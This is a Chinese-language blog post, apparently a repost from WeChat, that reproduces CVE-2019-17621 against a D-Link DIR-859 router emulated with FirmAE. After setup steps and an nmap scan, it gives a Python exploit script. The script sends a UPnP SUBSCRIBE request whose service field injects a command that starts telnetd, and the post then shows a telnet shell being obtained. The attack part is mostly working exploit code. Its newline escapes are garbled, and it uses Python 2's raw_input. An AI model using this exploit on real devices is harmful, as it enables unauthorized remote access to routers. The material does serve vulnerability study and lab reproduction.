1.FirmAE 工具安装
首先拉取FirmAE 工具仓库
git clone --recursive https://github.com/pr0v3rbs/FirmAE
运行下载脚本
cd FirmAE/
./download.sh
运行./install.sh进行安装
2.下载固件
本文模拟的是设备型号为D-Link DIR-859
下载地址:
http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DIR-859
下载后得到DIR859Ax_FW105b03.bin固件文件
3.FirmAE工具初始化
在FirmAE工具目录下执行./init.sh进行初始化
4.安装binwalk
这里使用FirmAE工具目录下的binwalk安装程序进行安装
cd binwalk-2.3.3/
python3 setup.py install
5.模拟运行固件
执行如下命令对固件进行解压
binwalk -Me /root/DIR859_FW102b03.bin --run-as=root
执行如下命令来模拟运行固件
sudo ./run.sh -r DIR-859 /root/DIR859_FW102b03.bin
使用浏览器访问http://192.168.0.1,出现如下界面则表明成功模拟了一台D-Link DIR-859路由器
查看端口
nmap 192.168.0.1
使用49152端口
EXP内容如下:
import socket
import os
from time import sleep
def httpSUB(server, port, shell_file):
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Payload = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0n"
Payload += "Host: " + str(server) + ":" + str(port) + "n"
Payload += "Callback: <http://192.168.126.128:33/>n"
Payload += "NT: upnp:eventn"
Payload += "Timeout: Second-1800n"
Payload += "Accept-Encoding: gzip, deflaten"
Payload += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50nn"
print(Payload)
sleep(1)
print('[*] Sending Payload')
con.connect((socket.gethostbyname(server),port))
con.send(Payload.encode())
results = con.recv(4096)
sleep(1)
print('[*] Running Telnetd Service')
serverInput = raw_input('IP Router: ')
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd`')
执行EXP
python poc.py
使用nmap扫描可以看到已成功通过漏洞开启了telnetd服务
nmap 192.168.0.1
执行telnet 192.168.0.1,成功获取shell
原文始发于微信公众号(第59号):D-Link DIR-859 RCE漏洞(CVE-2019-17621)复现
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论